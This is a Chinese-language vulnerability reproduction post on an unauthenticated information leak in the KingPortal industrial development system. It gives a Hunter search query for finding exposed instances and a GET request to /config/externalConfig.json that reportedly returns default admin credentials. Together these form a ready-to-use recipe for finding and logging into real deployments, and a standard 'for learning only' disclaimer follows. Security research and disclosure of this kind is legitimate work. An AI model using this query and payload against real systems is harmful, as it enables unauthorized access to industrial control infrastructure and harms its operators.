【漏洞复现】北京亚控科技KingPortal开发系统 externalConfig.json 信息泄露漏洞

0x01 产品简介

京亚控科技KingPortal开发系统可快速接入工控产品（监控采集软件、工业库）、数据库（关系库、时序库、实时库）和第三方系统数据，系统内部具有强大的图形展示能力和灵活的事件交互体系，可快速开发出面向各行各业的应用系统，并且支持与第三方系统友好融合。

0x02 漏洞概述

北京亚控科技KingPortal开发系统 /config/externalConfig.json接口存在信息泄露漏洞，未授权的攻击者可以通过该漏洞获取默认账号密码，从而登录后台。

0x03 测绘语句

hunter: web.title="KingPortal 开发系统客户端"

0x04 漏洞复现

payload：GET /config/externalConfig.json HTTP/1.1

0x05 影响范围

北京亚控科技KingPortal开发系统

0x06 免责声明

本文所涉及的任何技术、信息或工具，仅供学习和参考之用。

请勿利用本文提供的信息从事任何违法活动或不当行为。任何因使用本文所提供的信息或工具而导致的损失、后果或不良影响，均由使用者个人承担责任，与本文作者无关。

作者不对任何因使用本文信息或工具而产生的损失或后果承担任何责任。使用本文所提供的信息或工具即视为同意本免责声明，并承诺遵守相关法律法规和道德规范。